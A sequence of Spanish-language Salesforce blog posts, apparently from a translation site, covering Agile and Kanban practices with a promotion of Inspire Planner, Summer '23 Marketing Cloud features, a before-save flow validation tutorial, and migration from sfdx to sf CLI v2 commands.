  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

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Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores ☁️

Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Explore la versión Summer '23 Marketing Cloud para desarrolladores | Blog de desarrolladores de Salesforce

El lanzamiento de Summer '23 Marketing Cloud está muy caliente con algunas características nuevas y geniales para los desarrolladores. Hay muchas innovaciones en todos los canales para mensajes de correo electrónico, páginas de destino, aplicaciones móviles, datos e inteligencia artificial. En este blog, cubriré mis mejores selecciones y los aspectos más destacados favoritos del lanzamiento.

BuildRowSetFromJSON()

Ha habido mucho revuelo en torno a esta nueva función de AMPscript en la comunidad, y con razón. Esto significa que no hay manera de que pueda dejar esto fuera de mi lista. La nueva función AMPscript BuildRowsetFromJSON() permite a los desarrolladores analizar JSON en sus mensajes de correo electrónico y páginas de destino. Antes de BuildRowSetFromJSON() , los desarrolladores necesitaban usar Guide Template Language o Server-Side JavaScript para analizar JSON. Ahora, los desarrolladores pueden seguir con AMPscript en lugar de cambiar a otro lenguaje de programación de Marketing Cloud para analizar su JSON.

API de descarga del historial de viajes

Con la API de descarga del historial de Journey , los desarrolladores pueden descargar hasta 30 días de datos del historial de Journey Builder a través de la API REST. Algunos de los datos que los desarrolladores podrán descargar incluyen detalles sobre los criterios de entrada y salida del viaje, el estado de la actividad y los errores. Puede descargar los datos a través del formato CSV para casos de uso como resolución de problemas, reconciliación de errores, segmentación avanzada, datos sin procesar para herramientas de visualización, campañas de retargeting y más. Agregamos esta nueva API a nuestra colección pública de Postman y lanzamos dos rutas adicionales ( frescura y estimación ) para ayudarlo a comprender mejor los datos que consulta.

Contenido de error personalizado de CloudPages

A veces ocurren errores, y la forma en que los desarrolladores manejan los errores puede afectar potencialmente a los clientes y su experiencia. Una CloudPage puede encontrar un error porque no está publicada, o puede haber un error debido a un código personalizado existente que afecta la capacidad de procesamiento de la CloudPage. En CloudPages, los desarrolladores ahora pueden configurar contenido personalizado para los errores, lo que permitirá a los desarrolladores dirigir con gracia a sus clientes a activos alternativos en caso de error. La siguiente imagen muestra la nueva capacidad con la opción de configurar el contenido de error personalizado. Dato curioso: ¡esta fue una idea en el intercambio de ideas que se entregó en este lanzamiento!

SDK para móviles de fidelización

El kit de desarrollo de software móvil (SDK) de fidelización es un nuevo kit de desarrollo de software que permite a los desarrolladores crear aplicaciones móviles para los programas de fidelización de su empresa.

La ayuda de Mobile SDK consta de funciones y capacidades nativas, como la inscripción y los detalles del perfil. El SDK está disponible para el desarrollo de iOS y Android . El SDK de Loyalty Mobile se basa en la plataforma principal y utiliza funcionalidades principales. Sin embargo, es parte de la familia Marketing Cloud. Los desarrolladores de Salesforce que ya están familiarizados con la creación de la plataforma central deberían considerar que se trata de un SDK muy nuevo y divertido con el que experimentar. Desarrolladores de Marketing Cloud, ¡esto es algo muy emocionante y nuevo para aprender!

Einstein Studio Traiga su propio modelo de inteligencia artificial (IA)/aprendizaje automático (ML) a la nube de datos

Los desarrolladores seguramente se divertirán, y tal vez un poco de desafío, con el diseño de sus propios modelos de IA utilizando Amazon SageMaker y Data Cloud. La integración de Einstein Studio entre Data Cloud y Amazon SageMaker es nuestra primera asociación de inteligencia artificial/aprendizaje automático. Los desarrolladores y los equipos de ciencia de datos pueden crear e incorporar sus propios modelos AI/ML para predicciones de conversión de prospectos, clasificaciones de casos y más. Luego, los especialistas en marketing pueden usar estas predicciones para personalizar cada punto de contacto con sus clientes. Consulte las notas de la versión y la documentación de ayuda para obtener más información.

Espero que haya disfrutado de mis aspectos destacados del lanzamiento de Summer '23 y que esté listo para comenzar a desarrollar con las muchas funciones nuevas en la plataforma de Marketing Cloud. Hay muchas más funciones en la versión Summer '23 para desarrolladores que pueden interesarle. Lo animo a consultar las notas de la versión de Marketing Cloud Summer '23 para leer sobre algunas de las otras mejoras incluidas en esta versión.

Recursos

Sobre el Autor

Danielle Larregui es promotora sénior de desarrolladores en Salesforce, donde se enfoca en la creación de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificación. Danielle también disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos técnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al día con su contenido técnico.

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Validaciones personalizadas mediante flujos activados por registros

Validaciones personalizadas mediante flujos activados por registros

Última actualización el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se escribe una regla de validación utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la regla de validación
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validación
  • Mostrar el mensaje de error en la parte superior de la página
  • Y mucho más

👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Adición de validación a los componentes de la pantalla de flujo
  2. ¿Regla de validación usando un flujo antes de guardar? ¡Sí!
  3. Cómo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.

¿Qué es la regla de validación?

Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .

En este artículo, hablé sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validación . Por ejemplo, mostré cómo usar una regla de validación para administrar requisitos usando tipos de metadatos personalizados.

¿Qué es Antes de Guardar Flujo?

El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:

  1. Actualizar campos en registros nuevos o modificados: significa que desea actualizar los campos en el registro que inició el Flujo
  2. Activar una regla de validación (no necesaria después del lanzamiento de winter'24)

Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.

Enfoque de Campeón de Automatización (I-do):

Paso 2: uso del elemento de decisión para verificar si la oportunidad se creó o actualizó

Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso : {!$Record.Id}
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Verdadero}
  5. Cuándo ejecutar el resultado : si se cumplen los requisitos de la condición
  6. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 3: agregar un elemento Obtener registro para encontrar oportunidades abiertas relacionadas

El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.

  1. En Flow Designer, debajo del nodo Creado , haga clic en el icono + y seleccione el elemento Obtener registros .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Seleccione el objeto Oportunidad de la lista desplegable.
  4. Seleccione Se cumplen todas las condiciones (Y) .
  5. Establecer condiciones de filtro
    1. Fila 1:
      1. Campo : ID de cuenta
      2. Operador : Igual
      3. Valor : {!$Record.AccountId}
    2. Haga clic en Agregar condición
      1. Fila 1:
        1. Campo : EstáCerrado
        2. Operador : Igual
        3. Valor : {!$ConstanteGlobal.Falso}
  6. Cuántos registros almacenar:
    1. seleccione Todos los registros
  7. Cómo almacenar datos de registro:
    1. Elija la opción para Almacenar automáticamente todos los campos .
  8. Haz clic en la X en la parte superior para guardar tus cambios.

Paso 4: uso del elemento de decisión para verificar si se encontró o no una oportunidad abierta  

Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Decisión .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. En Detalles del resultado , ingrese la etiqueta que el nombre de la API se completará automáticamente.
  4. Requisitos de condición para ejecutar el resultado : se cumplen todas las condiciones (Y)
    1. Fila 1:
      1. Recurso: {!Get_Related_Opportunity}
      2. Operador: es nulo
      3. Valor: {!$ConstanteGlobal.Falso}
  5. Cuándo ejecutar Resultado : Si se cumplen los requisitos de la condición .
  6. Haga clic en Listo .

Paso 5: agregar un elemento de error personalizado para mostrar mensajes de error

  1. En el nodo Sí , seleccione el elemento Error personalizado .
  2. Introduzca un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
  3. Establecer detalles del mensaje de error 1
    1. Dónde mostrar el mensaje de error : en una ventana en una página de registro
    2. Mensaje de error:
      1. Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
  4. Haz clic en la X en la parte superior para guardar tus cambios.

Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 59
  5. Etiqueta de entrevista : regla de validación personalizada mediante flujo {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .

👉 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]
Cosas para recordar
  1. El límite para el campo del mensaje de error es de 255 caracteres.
  2. Solo puede agregar un mensaje de error para una página.
  3. Solo puede agregar un mensaje de error por campo.
  4. no es posible utilizar el enlace con su mensaje de error.
    1. parámetro de escape Indica si cualquier marcado HTML en el mensaje de error personalizado se debe escapar ( verdadero ) o no ( falso ). Este parámetro se ignora tanto en Lightning Experience como en la aplicación móvil Salesforce, y el HTML siempre se escapa. El parámetro de escape solo se aplica en Salesforce Classic. Lea este artículo para obtener más información.

Prueba de concepto

A partir de ahora, si un usuario intenta crear una nueva oportunidad en una cuenta que ya tiene una oportunidad abierta, se activará el flujo activado por registro antes de guardar que hemos creado y mostrará un mensaje de error.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

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¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 ☁️

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 2 | Blog de desarrolladores de Salesforce

La CLI (interfaz de línea de comandos) de Salesforce es la piedra angular del desarrollo de Salesforce y, como cualquier otra herramienta, evoluciona con el tiempo. Esta publicación es la segunda de una serie de blogs de dos partes sobre sf (v2), la nueva y mejorada CLI de Salesforce. En la Parte 1 , echamos un vistazo a las novedades de sf (v2) y, en esta parte final, exploraremos los nuevos comandos de estilo sf y patrones de banderas y compartiremos cómo puede migrar desde comandos de estilo sfdx y patrones basados en banderas. en nuestra experiencia con aplicaciones de muestra . Si bien la migración puede parecer intimidante a primera vista, compartiremos algunos consejos sobre cómo facilitar la transición.

Conozca los comandos de estilo sf

Si ha estado usando la CLI durante algún tiempo, probablemente comenzó a notar una serie de advertencias en los comandos que usa con frecuencia, como este:

sfdx force:source:push
Warning: We plan to deprecate this command in the future. Try using the "project deploy start" command instead.»>

Estos cambios son el resultado del trabajo continuo en Salesforce CLI Unification que comenzó hace varios lanzamientos (más detalles en la primera parte de esta serie).

Desde entonces, cada vez que instala la CLI de Salesforce, obtiene los dos ejecutables ( sfdx y sf ). Puede usar cualquiera de estos ejecutables ya que la mayoría de los comandos son interoperables, pero le recomendamos que comience a usar sf en su trabajo diario para prepararse para el futuro.

Debido a que sf cubre más que solo el desarrollo de la plataforma central, ofrece una nueva taxonomía de comandos simplificada que refleja el flujo de trabajo de un desarrollador típico en lugar de las marcas, productos o funciones de Salesforce.

Un ejemplo práctico de esto es el comando sf org create . Con este nuevo comando, la intención es más clara: llamas a la misma base de comandos con scratch , sandbox , shape , snapshot o user , mientras que en sfdx tenías que usar una combinación de diferentes comandos ( force:org:create , force:user:create ) y flags ( --type=scratch o --type=sandbox ) para obtener el mismo resultado.

Otra característica interesante de sf es que incluye más comandos visuales e interactivos, como la creación de organizaciones con la capacidad de reanudar operaciones de larga duración en caso de tiempo de espera.

Migrar al ejecutable sf

Además de simplemente cambiar el nombre del ejecutable de sfdx a sf , hay una serie de cambios que se aplican a los comandos CLI al actualizar sus proyectos. La documentación de la CLI de Salesforce proporciona una buena descripción general de estos cambios, pero destacaremos los que nos afectaron durante la actualización de nuestras aplicaciones de muestra.

Comandos sfdx comunes y sus equivalentes sf

En primer lugar, el tema force se eliminó de la mayoría de los comandos, lo cual es una buena noticia, ya que acorta los comandos. El otro cambio importante es que los temas, comandos y subcomandos, que antes estaban separados por dos puntos como en sfdx force:org:list , ahora están separados por espacios, como en sf org list .

Mirando más de cerca los comandos que usamos a diario cuando trabajamos en aplicaciones de muestra, aplicamos los siguientes cambios:

Comando sfdx heredado Comando sf equivalente Migración Comentarios
sfdx force:org:delete -p -u recipes sf org delete scratch -p -o recipes Se debe agregar el subcomando scratch .
El indicador de la organización de destino cambia de -u a -o .
sfdx force:org:create -s -f config/project-scratch-def.json -d 30 -a recipes sf org create scratch -d -f config/project-scratch-def.json -y 30 -a recipes Se debe agregar el subcomando scratch .
El indicador "asignar organización predeterminada" cambia de -s a -d .
El indicador de duración de la organización borrador cambia de -d a -y .
sfdx force:source:push sf project deploy start Este es un cambio significativo, pero el nuevo comando funciona para todos los formatos de proyecto (fuente o metadatos).
Anteriormente, necesitaba comandos distintos.
sfdx force:user:permset:assign -n recipes sf org assign permset -n recipes El tema cambia de user a org y cambia el orden de los subcomandos.
sfdx force:data:tree:import -p data/data-plan.json sf data import tree -p data/data-plan.json
sfdx force:org:open -p lightning/n/Hello sf org open -p lightning/n/Hello
sfdx force:apex:test:run -c -r human -w 20 sf apex test run -c -r human -w 20

Si está buscando otros comandos, la documentación de CLI proporciona una lista completa de comandos sfdx con sus equivalentes sf . Cada vez que reemplace un comando, asegúrese de revisar sus banderas en busca de cambios, especialmente si usa las banderas de formato corto (un solo carácter) ( -o en lugar de --target-org por ejemplo). Puede ejecutar cualquier comando con el indicador -h o --help para obtener su descripción.

Automatice parte de la migración con expresiones regulares

ℹ️ Edición del 27 de julio de 2023: en lugar de expresiones regulares, puede usar un script de migración como se documenta aquí .

Cuando analizamos la migración de nuestros proyectos de aplicaciones de muestra , sabíamos que necesitaríamos automatizar parte del proceso, ya que había cerca de 1700 referencias a sfdx en más de 200 archivos. Para obtener los resultados más precisos aquí, asegúrese de agregar un espacio después de sfdx en su término de búsqueda y excluya la carpeta node_modules de su búsqueda, como hicimos aquí:

Comenzar con una búsqueda es un buen primer paso. Le ayuda a darse cuenta de que tendrá que migrar sus comandos en un par de lugares, como:

  • Scripts de integración continua
  • Guiones de desarrollo local
  • Documentación

Luego puede ir más allá experimentando con una búsqueda y reemplazo de expresiones regulares (RegEx) en VS Code. Este enfoque es una forma rápida de iniciar la migración. Funciona bien para la búsqueda, pero no es perfecto como reemplazo, ya que algunos comandos requieren actualizaciones manuales. En cualquier caso, siempre pruebe el resultado de sus cambios antes de enviarlos a producción.

Comience ejecutando esta búsqueda RegEx y reemplace:

Tenga en cuenta el uso de tres grupos de captura encerrados entre paréntesis en la expresión de búsqueda y representados por signos de dólar seguidos de un número en la expresión de reemplazo. Los grupos de captura le permiten retener dinámicamente ciertos valores (palabras como temas, comandos y subcomandos en nuestro caso) mientras realiza cambios en el resto de la línea (reemplazando los separadores de dos puntos con espacios en nuestro caso).

Si desea obtener más información sobre este RegEx u otros, le recomiendo que consulte regex101.com , ya que proporciona una explicación de la sintaxis y un campo de juego para probar expresiones.

Aquí hay un ejemplo de la entrada y salida en VS Code de la expresión anterior (no olvide activar el modo RegEx como lo indica la flecha roja):

Notará que esta primera ronda de búsqueda y reemplazo no es perfecta ya que obtiene algunos caracteres de espacio adicionales en el texto reemplazado. Puede arreglar esto fácilmente ejecutando una segunda operación RegEx de búsqueda y reemplazo como esta:

Una vez que ejecute este último RegEx, todavía hay un par de cambios manuales que necesitará para operar. Como vimos anteriormente en la tabla de equivalencia de comandos, estas son las cosas clave a tener en cuenta:

  • Algunos comandos usan diferentes temas y subcomandos. Por ejemplo, sf user assign permset es incorrecto: user debe ser reemplazado por org .
  • Algunas banderas necesitan ser cambiadas. Por ejemplo, sf org create scratch -s -f config/project-scratch-def.json -d 30 -a recipes es incorrecto: el indicador -d debe reemplazarse por -y y el indicador -s debe reemplazarse por -d .

Afortunadamente, la mayoría de estos cambios no son demasiado difíciles de aplicar y puede migrar con bastante rapidez a los comandos de estilo sf . Lo dejaremos con una vista de diferencias de GitHub que resume todos los cambios que fueron necesarios para migrar una de nuestras aplicaciones de muestra.

palabras de cierre

Eso es un resumen de esta breve descripción general de la migración de los comandos sfdx -style a los comandos sf -style. Vislumbró el beneficio del ejecutable sf y su nueva sintaxis. Esperamos que se beneficie de nuestra experiencia de migración y de nuestros consejos al actualizar sus proyectos.

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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5 consejos para incorporar la automatización en su negocio

5 consejos para incorporar la automatización en su negocio

Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatización de las tareas rutinarias mejoraría su productividad. Sin embargo, el 52% de las empresas todavía tienen demasiados procesos y tareas manuales. La automatización empresarial puede ser la clave para cerrar esta brecha.

